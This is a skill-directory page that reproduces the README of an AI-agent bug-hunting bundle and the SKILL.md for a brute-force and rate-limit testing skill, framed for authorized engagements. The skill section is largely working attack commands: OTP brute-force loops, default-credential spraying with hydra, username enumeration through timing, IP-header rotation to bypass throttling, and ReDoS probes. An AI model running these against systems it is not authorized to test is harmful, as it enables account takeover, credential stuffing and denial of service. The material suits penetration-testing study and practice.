SkillAtlasSkill 详情

hunt-brute-force

A self-contained Claude skill bundle for bug hunting and external red-team work · 82 skills · 15...

审核状态:已审核Quality 72Security 70

复制安装命令

用 Codex 或 Claude 安装复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它先审查 Skill 页面再帮你安装。

复制前请先查看来源、License 和安全提示。

项目 README

来源文件:README.md

抓取于 2026年8月4日

claude-bughunter banner

claude-bughunter

A self-contained Claude skill bundle for bug hunting and external red-team work · 82 skills · 15 slash commands · 681 disclosed-report patterns across 24 core vulnerability classes · enterprise identity + infrastructure attack matrices · engagement-folder scaffolding · Burp MCP integration · battle-tested across authorized red-team and bug-hunting engagements, plus public training platforms (DVWA, OWASP Juice Shop, Hacker101, testphp.vulnweb.com).

Built by Sachin Sharma — Bug Hunting & GenAI Security Research.

SPONSORED BY
Atlas Cloud


What is this?

claude-bughunter is a drop-in skill bundle for the Claude Code skills system. Install once and Claude Code stops being a chatbot and starts behaving like a senior bug-hunting researcher or red-team operator: it knows the techniques, the chain templates, the VRT mappings, the platform CVE chains, and the hygiene — and it stays in scope.

Four layers stack:

  • Think — bb-methodology + redteam-mindset: the 5-phase non-linear workflow, critical-thinking framework, and red-team operator discipline.
  • Hunt webapps — 48 hunt-* skills curated from 681 disclosed HackerOne reports: per-class detection patterns, payloads, bypass tables, and chain templates.
  • Hit the perimeter — enterprise platform chains (M365/Entra, Okta, vCenter, SSL-VPN appliances, SharePoint, cloud IAM): current 2024–2026 CVE chains + post-credential escalation.
  • Ship it — triage-validation + reporting + evidence-hygiene: the 7-Question Gate, VRT-aware severity, OOS rebuttals, PII redaction, and red-team deliverables.

All triggered automatically by topic — describe what you're testing in plain English and the relevant skill loads. No invocation by name.


Quickstart

Option A — install as a Claude Code plugin (recommended). From inside Claude Code:

/plugin marketplace add elementalsouls/Claude-BugHunter
/plugin install claude-bughunter@elementalsouls

All 82 skills + 15 commands load namespaced under claude-bughunter: and update when you bump the plugin version — no files copied into ~/.claude/.

Option B — copy install (no plugin system / pin to a clone):

git clone https://github.com/elementalsouls/Claude-BugHunter.git
cd Claude-BugHunter
# macOS / Linux
bash scripts/install.sh

# Windows (PowerShell)
pwsh ./scripts/install.ps1

Both copy the skills + commands into ~/.claude/ (macOS/Linux) or %USERPROFILE%\.claude\ (Windows) and wire the hunt engagement scaffolder.

What each install path gives you:

Path82 skills + 15 slash commandscbh CLIhunt scaffolder
A — plugin✅ namespaced under claude-bughunter:➕ separate pipx install❌ clone-only
B — copy install✅ copied into ~/.claude/✅ from the clone✅ from the clone

The plugin is the fastest path to the skills + slash commands. The terminal-native cbh runner installs standalone — pipx install git+https://github.com/elementalsouls/Claude-BugHunter — so plugin users can add it without a full clone (see cbh CLI). The hunt engagement scaffolder ships with the clone (Option B).

That's it. Open Claude Code and describe what you're testing in plain English — the right skill loads automatically, no invocation by name:

> Testing acme.com — an in-scope HackerOne target. Run recon and rank the surface.

  ⟳ loading skills: web2-recon, offensive-osint, bb-methodology …
    → subdomain enum (subfinder + crt.sh) … 47 hosts
    → live hosts (httpx) … 12 · tech fingerprint … 6 distinct stacks
    → ranked surface: api.acme.com (GraphQL, introspection ON)  ← start here
                      auth.acme.com (OAuth, SSO)               ← hunt-oauth

  Next: want me to probe the GraphQL introspection + OAuth redirect_uri?

→ Full Installation guide · Usage guide · searchable skill catalog.

The block above is an illustrative transcript. To record a real demo of your own session: asciinema rec demo.cast → upload to asciinema.org and drop the badge here.


Runs on four harnesses

One install, four agent harnesses — Claude Code, OpenCode, Codex CLI, Hermes Agent

The skills are plain Agent Skills — the same SKILL.md format that Claude Code · OpenCode · OpenAI Codex CLI · Hermes Agent all load. One command installs them everywhere:

# macOS / Linux
bash scripts/install.sh --all --burp-mcp

# Windows (PowerShell)
pwsh ./scripts/install.ps1 -All -BurpMcp

--all (-All) copies the skills to every harness's path (~/.claude/skills, ~/.agents/skills, ~/.hermes/skills); --burp-mcp (-BurpMcp) wires the Burp MCP server into each. The full knowledge layer ports to all four — the slash commands and /hunt engine stay Claude-Code-only by design.

→ Multi-harness guide


Star History

Star history chart for Claude-BugHunter

Chart is self-hosted — regenerate with python3 scripts/gen_star_history.py (needs gh auth login). Refreshes automatically each Monday via .github/workflows/star-history.yml.


Scope — what this bundle is for, and what it isn't

This bundle covers the external attack surface — anything reachable from the internet without first compromising an internal endpoint.

In scope

  • Bug bounty hunting — web apps, APIs, SaaS, GraphQL, OAuth, JWT, file upload, IDOR, SSRF, RCE chains
  • Web application pentesting — full hunt-* coverage of OWASP-mapped bug classes + discipline rules
  • External red-team engagements — initial-access against internet-facing enterprise estate: M365 / Entra ID, Okta-as-IdP, SharePoint on-prem (ToolShell + legacy SOAP), VMware vCenter / Workspace ONE, SSL VPN appliances (Cisco / Fortinet / Citrix / Palo Alto / Pulse / SonicWall / F5), Android APK red-team, supply-chain recon
  • Cloud misconfig + post-credential escalation — public S3, IMDS chains, STS AssumeRole, cross-account confused-deputy
  • Recon + OSINT — subdomain enum, identity-fabric mapping, certificate transparency, JS analysis, secret scanning
  • Reporting — H1, Bugcrowd (VRT-aware), Intigriti, Immunefi, plus client-facing red-team deliverable format

Out of scope (deliberate — not gaps, design decisions)

  • Internal Active Directory attacks — BloodHound, Kerberoasting, ASREProast, DCSync, Pass-the-Hash, AD CS abuse, ntlmrelayx, Responder, PetitPotam, etc. Different operational risk profile; needs different tooling and judgment. Future bundle, not this one.
  • C2 frameworks — Cobalt Strike, Sliver, Mythic, Havoc, BRC4 tradecraft. Out of scope for external-only engagement model.
  • Post-exploit / persistence / lateral — Mimikatz/comsvcs LSASS dumping, golden/silver tickets, named-pipe impersonation, persistence (registry, scheduled tasks, WMI events, COM hijacking), token theft. These start after the perimeter has already broken — different bundle territory.
  • Evasion — AMSI bypass, ETW patching, AV/EDR bypass. Tied to C2 tradecraft above.
  • iOS pentesting / hardware / RF / ICS — out of scope by design.
  • Binary exploitation / kernel pwn / browser internals — different skill universe.

If you're running an internal red team that includes domain-takeover chains via Kerberos or lateral movement, this bundle won't help you in those phases — and we'd rather say that up front than have you find out mid-engagement. The external surface handoff to internal-RT tooling (Impacket, NetExec, CrackMapExec, Rubeus, Certify, BloodHound) is intentionally outside our scope. Coverage for internal AD and post-exploit may come in a future update.


What's inside

82 skills, auto-loaded by topic — no invocation by name. Coverage across the external attack surface:

Category#Examples
Web application hunting13XSS, SQLi, SSRF, IDOR, LFI, SSTI, XXE, CSRF, CORS, open-redirect
Authentication & identity7auth-bypass, session, OAuth, SAML, MFA-bypass, ATO
API & infrastructure15GraphQL, gRPC, WebSocket, API-misconfig, host-header, RCE
Advanced & concurrency6race-condition, HTTP smuggling, deserialization, cache-poison
Framework-specific4Next.js, Node.js, Laravel, Spring Boot
Enterprise identity & cloud ★3M365/Entra, Okta, cloud-IAM-deep
Infrastructure & appliance ★4VMware vCenter, enterprise VPN, SharePoint, ASP.NET/NTLM
Red-team tradecraft ★4redteam-mindset, APK pipeline, supply-chain recon, mid-engagement IR
Recon & OSINT4web2-recon, offensive-osint, subdomain
Workflow, reporting & specialized11methodology, triage-validation, evidence-hygiene, VRT-aware reporting

Full searchable catalog → docs/skills.md. Also ships 15 slash commands (/hunt, /recon, /report, …) and a deterministic engagement engine (engine/) that maps a target's attack surface and routes each finding to the skill that handles it.


How it works

A 6-phase, non-linear workflow — recon → map & rank → hunt → validate → report — with scope enforced in code and a 7-Question Gate before anything is submitted. Two ways to drive it:

  • Plain English — describe what you're testing and the relevant skill loads automatically.
  • /hunt scaffold + cbh CLI — engagement-folder structure, state, and orchestration.

→ Usage guide & worked example · 6-phase architecture & skill-to-phase map · cbh CLI


Authorization

These skills are intended for assets you own or have written authorization to assess (bug-bounty in-scope assets, pentest engagement letters, CTF challenges, your own infrastructure).

The skills include validation gates that auto-trigger when you point Claude at unverified third-party targets — triage-validation's 7-Question Gate explicitly asks whether the asset is in scope (Q3) and on the program's accepted-impact list (Q2). The bugcrowd-reporting skill includes researcher-side hygiene (Bugcrowdninja alias, account-state restoration, friendly-tester posture) that signals legitimate authorized testing to the target's fraud team.

The bundle explicitly excludes: weaponizing 0-days against unauthorized targets, post-exploitation tooling, malware development, mass-targeting infrastructure. See SECURITY.md for the full posture.

Heads-up — Anthropic runtime cyber safeguards. Anthropic's models apply real-time safeguards that block "vulnerability exploitation or offensive security tooling development" by default — so even authorized, in-scope work can hit a refusal that isn't this bundle's doing. If you do authorized offensive security (pentest / bug bounty / red team), enroll in Anthropic's free, application-based Cyber Verification Program (CVP) to get safeguards adjusted for legitimate dual-use work. (Mass data exfiltration and ransomware development stay prohibited and are not adjustable.) Details: Anthropic — real-time cyber safeguards.

Why your model switched mid-session

Separate from refusals, and easy to miss. On Opus 5, a narrow set of higher-risk cyber requests — Anthropic names exploit generation, binary-based vulnerability scanning and penetration testing — fall back to Opus 4.8 rather than being refused. You get a notice and the response is labelled with the model that answered, but in a long agentic run that is easy to scroll past, so it can look like Opus 5 quietly got worse. See why Claude switched models.

What to do depends on what you are actually doing:

SituationWhat helps
Auditing your own code — reviewing a repo you own for defectsSay so. "Defensive review of my own repo", "check this against the OWASP Top 10", "secure refactor to remediate" describe the work accurately and read as remediation. This is not a workaround; the work genuinely is defensive.
Authorized offensive work — live engagement, PoC for a bounty submissionThis is what the bundle is for, and the supported route is CVP. Do not reword an offensive engagement to look defensive to get past a classifier — enroll instead.
You just want the switching offSettings → Capabilities disables automatic model switching.

/hunt states the engagement frame (authorized, scope-bounded, remediable finding) on its first turn for exactly this reason — engagement context belongs in the session explicitly, not implied.


Documentation

DocContents
README.mdThis file — overview, quickstart, scope, skill summary
INSTALL.mdFull setup with Burp MCP integration and optional skill regenerator
USAGE.mdWorkflow walkthrough · decision tree · worked engagement example
docs/architecture.md6-phase architecture · skill-to-phase mapping · engagement composition
docs/cbh-cli.mdcbh CLI — native runner orchestrating recon + classify + triage + report
docs/cve-coverage.mdCISA KEV coverage snapshot — refreshed weekly via the workflow template at docs/automation/cve-refresh.yml.template
docs/credits.mdFull attribution: 43 original skills + 8 vendored from upstream
CONTRIBUTING.mdPR guidelines · skill quality standards · scope
SECURITY.mdAuthorized-use posture · responsible disclosure · what's excluded
LICENSEMIT

Why this exists

Most bug-hunting Claude setups are either too generic (one big "security" prompt) or too fragmented (you bookmark 30 disclosed reports and re-read them every engagement). Neither scales past the second target.

This bundle was built and validated through authorized engagements that exposed different capability gaps:

Bug-bounty engagement — surfaced four gaps a starter 3-skill stack could not close:

  1. No hypothesis discipline — drafts written before validation → wasted hours, hurt validity ratio
  2. No per-program reporting tactics — VRT defaults auto-downgraded P3-worthy findings to P4
  3. No engagement coordination — findings, evidence, and submission IDs scattered across folders
  4. No evidence hygiene — screenshots leaked cookies and victim PII

External red-team engagement — exposed five additional gaps that bug-bounty defaults made worse:

  1. Conservative defaults retracted real findings — WAPT mindset stopped tests early on defended targets where red-team continuation would have surfaced bypass chains → redteam-mindset
  2. No mid-engagement situational awareness — client SOC patched confirmed SQLi within 30 min; external attacker locked 14 accounts during a live test session — both invisible without explicit detection methodology → mid-engagement-ir-detection
  3. No enterprise-platform attack chains — M365 + Entra ID, on-prem SharePoint, Cisco SSL VPN, vCenter, and 7 Android APKs all needed current 2024-2026 CVE knowledge and platform-specific tradecraft → m365-entra-attack, okta-attack, hunt-sharepoint, hunt-aspnet, hunt-ntlm-info, vmware-vcenter-attack, enterprise-vpn-attack, apk-redteam-pipeline
  4. No client-facing deliverable format — bug-bounty report templates don't fit enterprise red-team where output is a 50KB+ MD + DOCX with embedded screenshots → redteam-report-template
  5. No post-credential escalation model — when recon yielded credentials (AWS keys, JWTs, GCP JSON), it was unclear what they granted or how to escalate → cloud-iam-deep

The per-class hunt-* skills address gap-zero ("what should I look for in webapps") — the original 24 codifying patterns from 681 disclosed HackerOne reports, with 20+ framework/surface skills added by the community v3 expansion — Claude knows the actual chain templates real triagers paid for, not abstract OWASP Top 10. The enterprise-platform and red-team-tradecraft layers address what bug-bounty alone cannot: external red-team engagements against monitored enterprise targets.


Roadmap

  • HackerOne MCP integration (currently only Burp MCP wired in)
  • Per-engagement memory layer — pattern recall across targets
  • Industry-specific hunt skills — hunt-fintech-graphql, hunt-healthcare-fhir, hunt-gov-compliance
  • Program-rules-parser skill — auto-generate structured scope.md from program text
  • Refresh hunt-* skills with newer disclosed reports (re-run public-skills-builder)
  • Additional enterprise-platform skills — citrix-netscaler-deep, f5-bigip-attack, ad-cs-attack (AD Certificate Services)
  • Refresh enterprise-VPN CVE matrix quarterly to track 2026 advisories
  • Update architecture SVG to include the 7-skill enterprise-platform layer

Sponsors

Atlas Cloud

Atlas Cloud is a full-modal AI inference platform that gives developers a single AI API to access video generation, image generation, and LLM APIs. Instead of managing multiple vendor integrations, you connect once and get unified access to 300+ curated models across all modalities.

Check out Atlas Cloud's new coding plan promotion for more budget-friendly API access: https://www.atlascloud.ai/console/coding-plan


About

Operational tradecraft accumulated across bug-bounty engagements and authorized pentests, codified into Claude skills. Platform-agnostic — slot into any engagement workflow you already use, or none.

Author: ElementalSoul · GenAI Security Research

Sister project: Claude-OSINT — paired skills for the recon phase that this bundle picks up after. Its two recon skills (offensive-osint, osint-methodology) are canonically maintained here and re-exported there, so the two are byte-identical. Installing both is safe: each bundle's installer (install.sh on macOS/Linux, install.ps1 on Windows) records a manifest, the script skips re-copying an identical skill, and --uninstall keeps any skill the other bundle still owns — uninstalling one never breaks the other.

Vendored foundation: shuvonsec/claude-bug-bounty — methodology, validation, reporting, payload library (8 of 82 skills + 15 slash commands)

Generator tool used (not vendored): shuvonsec/public-skills-builder — used to scaffold per-class skills from H1 disclosed reports

Inspirations:

Tool inventory:

License: MIT — use freely, attribution appreciated.


"Give Claude the right skill and it stops being a chatbot. It becomes an operator."

开发与工程

中风险

  • 来源需自行核对维护者身份。
  • 包含脚本或命令调用,安装前请复核。
  • 可能需要外部 token、网络权限或第三方服务。
  • 未检测到高风险命令。
  • 扫描发现:3 条。

Codex — Git Clone 安装

  1. 安装前请先查看来源仓库和风险报告。
  2. 克隆仓库:git clone https://github.com/elementalsouls/Claude-BugHunter.git
  3. 将 "skills/hunt-brute-force" 文件夹复制到 Codex 的 skills 目录中。
  4. 重启 Codex 让新的 skill 生效。

Codex — 手动复制安装

  1. 安装前请先查看来源仓库和风险报告。
  2. 从源仓库下载 SKILL.md 及相关文件。
  3. 在 Codex 的 skills 目录中创建新文件夹。
  4. 将所有 skill 文件复制到新文件夹中。
  5. 重启 Codex 让新的 skill 生效。

Claude Code — Git Clone 安装

  1. 安装前请先查看来源仓库和风险报告。
  2. 克隆仓库:git clone https://github.com/elementalsouls/Claude-BugHunter.git
  3. 将 "skills/hunt-brute-force" 文件夹复制到 Claude Code 的 skills 目录中。
  4. 重启 Claude Code 让新的 skill 生效。

Claude Code — 手动复制安装

  1. 安装前请先查看来源仓库和风险报告。
  2. 从源仓库下载 SKILL.md 及相关文件。
  3. 在 Claude Code 的 skills 目录中创建新文件夹。
  4. 将所有 skill 文件复制到新文件夹中。
  5. 重启 Claude Code 让新的 skill 生效。

Cursor — Git Clone 安装

  1. 安装前请先查看来源仓库和风险报告。
  2. 克隆仓库:git clone https://github.com/elementalsouls/Claude-BugHunter.git
  3. 将 "skills/hunt-brute-force" 文件夹复制到 Cursor 的 skills 目录中。
  4. 重启 Cursor 让新的 skill 生效。

Cursor — 手动复制安装

  1. 安装前请先查看来源仓库和风险报告。
  2. 从源仓库下载 SKILL.md 及相关文件。
  3. 在 Cursor 的 skills 目录中创建新文件夹。
  4. 将所有 skill 文件复制到新文件夹中。
  5. 重启 Cursor 让新的 skill 生效。

GitHub Copilot — Git Clone 安装

  1. 安装前请先查看来源仓库和风险报告。
  2. 克隆仓库:git clone https://github.com/elementalsouls/Claude-BugHunter.git
  3. 将 "skills/hunt-brute-force" 文件夹复制到 GitHub Copilot 的 skills 目录中。
  4. 重启 GitHub Copilot 让新的 skill 生效。

GitHub Copilot — 手动复制安装

  1. 安装前请先查看来源仓库和风险报告。
  2. 从源仓库下载 SKILL.md 及相关文件。
  3. 在 GitHub Copilot 的 skills 目录中创建新文件夹。
  4. 将所有 skill 文件复制到新文件夹中。
  5. 重启 GitHub Copilot 让新的 skill 生效。

Windsurf — Git Clone 安装

  1. 安装前请先查看来源仓库和风险报告。
  2. 克隆仓库:git clone https://github.com/elementalsouls/Claude-BugHunter.git
  3. 将 "skills/hunt-brute-force" 文件夹复制到 Windsurf 的 skills 目录中。
  4. 重启 Windsurf 让新的 skill 生效。

Windsurf — 手动复制安装

  1. 安装前请先查看来源仓库和风险报告。
  2. 从源仓库下载 SKILL.md 及相关文件。
  3. 在 Windsurf 的 skills 目录中创建新文件夹。
  4. 将所有 skill 文件复制到新文件夹中。
  5. 重启 Windsurf 让新的 skill 生效。
查看 SKILL.md 原文
name: hunt-brute-force
description: "Hunt Missing/Weak Rate Limiting — login brute force, OTP/2FA brute force (10^6 keyspace), password-reset-token brute, credential stuffing, username/email enumeration via error-string / status-code / timing differences, weak password policy, missing CAPTCHA (CAPTCHA token replay / single-use / concurrency-window bypass specifics → hunt-captcha-bypass), IP-based rate-limit bypass via X-Forwarded-For and friends, ReDoS. Distinguishes hard lockout vs soft IP-throttle vs CAPTCHA-injection vs silent shadow-throttling (avoids false-negative 'no rate limit' conclusions). Medium to Critical depending on what the brute reaches (OTP→ATO = Critical)."
sources: public_research
report_count: 0

HUNT-BRUTE-FORCE — Rate Limiting / Brute Force / Enumeration

Grounding note: this skill is built from published technique classes, not from a curated set of named HackerOne reports. report_count is intentionally 0 — do not cite an exact payout or report ID you cannot verify. Where a public case is well-documented (e.g. Laxman Muthiyah's Instagram password-reset OTP race/rotation research, 2019–2021), it is named below as a technique reference, not a payout claim.

Crown Jewel Targets

OTP brute force (6-digit = 1,000,000 combinations) with no effective rate limit = Critical ATO bypass.

Highest-value chains:

  • OTP / 2FA brute → MFA bypass → ATO — no effective rate limit on /verify-otp, full 000000–999999 keyspace reachable
  • Password-reset token brute — short/predictable/non-expiring tokens + no rate limit → ATO (the Instagram 2019 case combined a 6-digit reset code, no rate limit per request-source, and IP rotation to make 10^6 tractable)
  • Username/email enumeration → targeted credential stuffing — valid/invalid distinguishable by response string, status code, or timing, then sprayed with breach corpora
  • Coupon / gift-card / referral code brute — no rate limit on code validation → financial impact
  • ReDoS — attacker-controlled input hits a catastrophic-backtracking regex → CPU exhaustion → DoS

Autonomous Testing Priority

Work within your turn budget — prioritize signal over volume.

You cannot brute-force millions of combinations in automated testing. Focus on two things: (1) credential spraying with the most likely candidates, and (2) detecting whether rate limiting exists at all.

Strategy:

  1. Identify the login endpoint and the expected parameter names (username/email, password).
  2. Try weak/default credentials likely for the target context — default admin credentials for the app's stack, simple passwords for test environments, credentials visible elsewhere on the app (e.g. usernames exposed in profiles, default passwords in documentation).
  3. After 3-5 failed attempts, check for rate-limit signals (429 status, "too many attempts" message, CAPTCHA appearance, account lockout message). Absence of these = rate limiting is missing = vulnerability.
  4. Use form-encoding for traditional login forms, JSON for REST API login endpoints.

What to look for as success:

  • Session token or JWT in the response body or Set-Cookie header
  • Redirect to authenticated dashboard
  • Response body that differs from the failed-login baseline

Username enumeration (separate finding): Try a known-valid username vs a random one. If the error message differs ("Wrong password" vs "User not found") or response time differs → user enumeration vulnerability, even without a successful login.


CRITICAL: Four rate-limit states — do not collapse them

A 200/401 with no 429 does not mean "no rate limiting". A rate-limiting skill that only checks for 429/lockout produces false negatives. Classify the defense BEFORE concluding, by sending a burst of ~50 requests and watching the full response (status, body, headers, latency, and downstream success):

StateSignalBrute still feasible?
Hard account lockoutaccount disabled after N fails; later correct creds also failNo (but lockout itself can be a DoS finding)
Soft IP throttle429 / increasing latency keyed on source IP onlyYes — bypass via header/IP rotation (Phase 4)
CAPTCHA injection200 but body switches to a CAPTCHA challenge after NMaybe — check if the verify endpoint enforces it server-side or if the API path skips it
Silent shadow-throttle200/401 returned for every request, but submissions are dropped — the genuinely-correct OTP/password stops being accepted, or responses become cannedThis is the trap. A naive loop sees "all 200, no 429" and reports "no rate limit" — false.

Shadow-throttle detector — inject a known-good value at a known position and confirm it still works under load:

# Seed: position 500 in the brute set is the REAL OTP for your own test account.
# If the loop reaches 500 and the correct code no longer authenticates,
# the endpoint is silently throttling/dropping — NOT unprotected.
KNOWN_GOOD="123456"   # the actual current OTP for YOUR test account
for n in $(seq 0 600); do
  CODE=$([ "$n" = "500" ] && echo "$KNOWN_GOOD" || printf "%06d" "$n")
  CODE_RESP=$(curl -s -o /tmp/bf_body -w "%{http_code} %{time_total}" \
    -X POST "https://$TARGET/api/verify-otp" \
    -H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
    -d "{\"otp\":\"$CODE\"}")
  echo "$n $CODE $CODE_RESP $(wc -c </tmp/bf_body)"
done
# Three columns to watch: status, time_total, body size.
# Rising time_total or a body-size change with status unchanged = shadow throttle.

Step-by-Step Hunting Methodology

Phase 1 — Login Rate Limit Test (classify, don't just count 429s)

# Send a burst and log status + latency + body length for EACH attempt.
for i in $(seq 1 50); do
  read CODE TIME < <(curl -s -o /tmp/bf_l -w "%{http_code} %{time_total}\n" \
    -X POST "https://$TARGET/api/login" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"test@$TARGET\",\"password\":\"wrong$i\"}")
  echo "Attempt $i: status=$CODE time=${TIME}s len=$(wc -c </tmp/bf_l)"
  sleep 0.1
done
# Then CLASSIFY against the 4-state table above. Watch for:
#   - status flips to 429 / 403  → soft throttle or lockout
#   - body grows / CAPTCHA token appears → CAPTCHA injection
#   - latency climbs while status stays 401 → shadow throttle
#   - genuinely nothing changes across all 50 → candidate "no rate limit" (confirm w/ Phase 2 seed)

Phase 2 — OTP / 2FA Brute Force

# PRE-REQUISITE: a valid session that is pending OTP verification (your own test account).
SESSION_COOKIE="pre-auth-session-after-first-factor"

# ---- 2a. PoC probe: send 101 codes (seq 0..100 is INCLUSIVE = 101 values) ----
# This ONLY proves the endpoint accepts repeated attempts without 429/lockout.
# It does NOT prove the full 10^6 keyspace is brute-forcible — see 2b.
for CODE in $(seq -f "%06g" 0 100); do
  RESP=$(curl -s -X POST "https://$TARGET/api/verify-otp" \
    -H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
    -d "{\"otp\":\"$CODE\"}" -o /dev/null -w "%{http_code}")
  echo "$CODE: $RESP"
  [ "$RESP" = "429" ] && { echo "Rate limit at $CODE"; break; }
done
# 101 attempts with no 429/lockout → endpoint is a candidate. NOW run the shadow-throttle
# seed test (above) before claiming "no rate limit". A clean probe is necessary, not sufficient.

# ---- 2b. Full-keyspace impact proof (only with explicit authorization + your own account) ----
# Severity rests on 10^6 being REACHABLE, not on 101 codes. Demonstrate tractability:
#   - keyspace = 10^6 ; observed throughput from 2a (req/s) ; expected hit at ~half keyspace.
#   - e.g. 50 req/s sustained → ~10^6 / 50 ≈ 5.5 hours worst case, ~2.8h expected. That IS the impact.
#   - If a code rotates every T seconds, the real bound is (req/s * T) attempts per window.
#     Brute is only viable if (throughput * code_lifetime) approaches the keyspace, OR if the
#     code does NOT rotate / reset is unlimited (the Instagram-2019 class).
# Report the math; do NOT actually exhaust 10^6 against a third party.

Phase 3 — Username / Email Enumeration (string AND status AND timing)

VALID_USER="known-user@$TARGET"
INVALID_USER="definitely-not-real-xyz123@$TARGET"

# String + status diff
for U in "$VALID_USER" "$INVALID_USER"; do
  curl -s -o /tmp/bf_e -w "[$U] status=%{http_code} time=%{time_total}s len=%{size_download}\n" \
    -X POST "https://$TARGET/api/login" -H "Content-Type: application/json" \
    -d "{\"email\":\"$U\",\"password\":\"wrongpassword\"}"
done
diff <(curl -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
        -d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}") \
     <(curl -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
        -d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}")
# Different message/status/len → enumeration.

# Timing oracle (valid users hash the password, invalid users short-circuit → measurable delta).
# Sample MANY times and compare medians — a single request is noise, not signal.
echo "VALID timings:";   for i in $(seq 1 30); do curl -s -o /dev/null -w "%{time_total}\n" \
  -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
  -d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
echo "INVALID timings:"; for i in $(seq 1 30); do curl -s -o /dev/null -w "%{time_total}\n" \
  -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
  -d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
# A reproducible median delta (e.g. valid ~180ms vs invalid ~40ms) is a timing-based enum finding.

# Reset + registration enumeration
curl -s -X POST "https://$TARGET/forgot-password" -d "email=$VALID_USER"   | grep -i "sent\|exist\|not found\|registered"
curl -s -X POST "https://$TARGET/forgot-password" -d "email=$INVALID_USER" | grep -i "sent\|exist\|not found\|registered"
curl -s -X POST "https://$TARGET/api/register"   -d "email=$VALID_USER"    | grep -i "exist\|taken\|already"

Phase 4 — IP / Source Rotation Bypass

# Per-IP limits are bypassable when the app trusts a client-controlled source header.
# Rotate the header EVERY request; if the 429 you hit in Phase 1 disappears → broken limit.
HEADERS=( "X-Forwarded-For" "X-Real-IP" "X-Originating-IP" "X-Client-IP" \
          "X-Remote-IP" "X-Forwarded" "Forwarded-For" "CF-Connecting-IP" "True-Client-IP" )
for i in $(seq 1 60); do
  RAND_IP="$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1)"
  ARGS=(); for h in "${HEADERS[@]}"; do ARGS+=(-H "$h: $RAND_IP"); done
  RESP=$(curl -s "${ARGS[@]}" -X POST "https://$TARGET/api/login" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"test@$TARGET\",\"password\":\"wrong$i\"}" -o /dev/null -w "%{http_code}")
  echo "Attempt $i (IP $RAND_IP): $RESP"
done
# Also try: multiple comma-joined XFF values ("1.2.3.4, 5.6.7.8"), and appending your real IP
# AFTER a spoofed one — some parsers take first, some last.
# CONFIRM the bypass: re-run Phase 1 WITHOUT rotation to show the 429 returns. The delta is the proof.

Phase 5 — Token Entropy (measure it, don't eyeball it)

# Collect reset/session/OTP tokens for YOUR OWN test account, then quantify entropy.
for i in $(seq 1 20); do
  curl -s -X POST "https://$TARGET/forgot-password" -d "email=your-test@email.com"
  # Extract token from the email/link and append to tokens.txt
  sleep 2
done

# 1) Shannon entropy / compressibility — low entropy = predictable:
ent tokens.txt 2>/dev/null || \
  python3 -c "import sys,math,collections;d=open('tokens.txt').read();c=collections.Counter(d);n=len(d);\
print('bits/char =', -sum(v/n*math.log2(v/n) for v in c.values()))"

# 2) If tokens are hex/base64, decode and look for structure (timestamp, counter, PID):
while read t; do echo -n "$t -> "; echo -n "$t" | xxd -r -p 2>/dev/null | xxd | head -1; done < tokens.txt

# 3) Sequential / time-correlated test — sort and diff consecutive numeric tokens:
sort -n tokens.txt | awk 'NR>1{print $1-prev} {prev=$1}'   # constant/small delta = counter-based

# 4) DEFINITIVE tool: pipe ~10k tokens through Burp Sequencer (Live capture on the reset
#    response) — it runs FIPS/NIST randomness tests and reports effective bits of entropy.
#    < ~64 effective bits on a security token is a finding; the brute-window math follows.

Phase 6 — ReDoS Detection

# Hit input-validation / search endpoints with catastrophic-backtracking payloads.
# Classic evil-regex triggers (nested quantifier / overlapping alternation):
for LEN in 5 10 15 20 25 30; do
  INPUT=$(python3 -c "print('a'*$LEN + '!')")              # for (a+)+$  /  (a|a)*$ style regex
  T=$(curl -s -o /dev/null -w "%{time_total}" "https://$TARGET/search?q=$INPUT")
  echo "len=$LEN -> ${T}s"
done
# Other payload shapes to try by field: email regex → "a@"+"a"*N ; URL regex → "http://"+"a"*N
# DOUBLING latency per +5 chars (super-linear) = ReDoS. Linear growth = just a slow endpoint, NOT a bug.
# Confirm with a control: send the same byte-length of a BENIGN string; if it returns fast, the
# blow-up is regex-driven, not size-driven.

Automation

# ---- ffuf: OTP brute ----
# PoC probe (101 codes) — proves acceptance, NOT full keyspace. Note the inclusive seq.
ffuf -u "https://$TARGET/api/verify-otp" -X POST \
  -H "Content-Type: application/json" -H "Cookie: session=SESSION" \
  -d '{"otp": "FUZZ"}' \
  -w <(seq -f "%06g" 0 100) \
  -mc all -ac \
  -rate 50            # cap throughput so YOU can read the rate-limit response, not DoS the target

# FULL keyspace (authorized + your own account only) — generate all 10^6 codes:
#   seq -f "%06g" 0 999999 > /tmp/otp_full.txt   (then -w /tmp/otp_full.txt)
# Use -mc all + -ac so ffuf auto-calibrates and you SEE 429/403/CAPTCHA responses instead of
# filtering them out. -mc 200 alone hides throttling — never brute with -mc 200 only.
# Add -p 0.1 jitter and watch the Errors/RateLimited counters; stop if the success oracle stops firing.

# ---- hydra: login spray ----
hydra -l admin@target.com -P ~/wordlists/top-1000.txt "$TARGET" \
  http-post-form "/api/login:email=^USER^&password=^PASS^:Invalid" -t 4

# ---- nuclei: rate-limit / default-cred templates ----
nuclei -u "https://$TARGET" -t http/fuzzing/ -t http/default-logins/ -severity medium,high,critical

Chain Table

FindingChain toImpact
No effective rate limit on OTP (full 10^6 reachable)MFA bypass → ATOCritical
Password-reset code brute + IP rotationReset → ATO (Instagram-2019 class)Critical
No rate limit on login + enumerationCredential stuffing with breach corpusHigh
IP bypass via X-Forwarded-For et al.Every per-IP limit on the app defeatedHigh
Predictable / low-entropy reset tokenToken guess within validity window → ATOHigh
ReDoS on a public input fieldSingle-request CPU exhaustion → DoSMedium–High
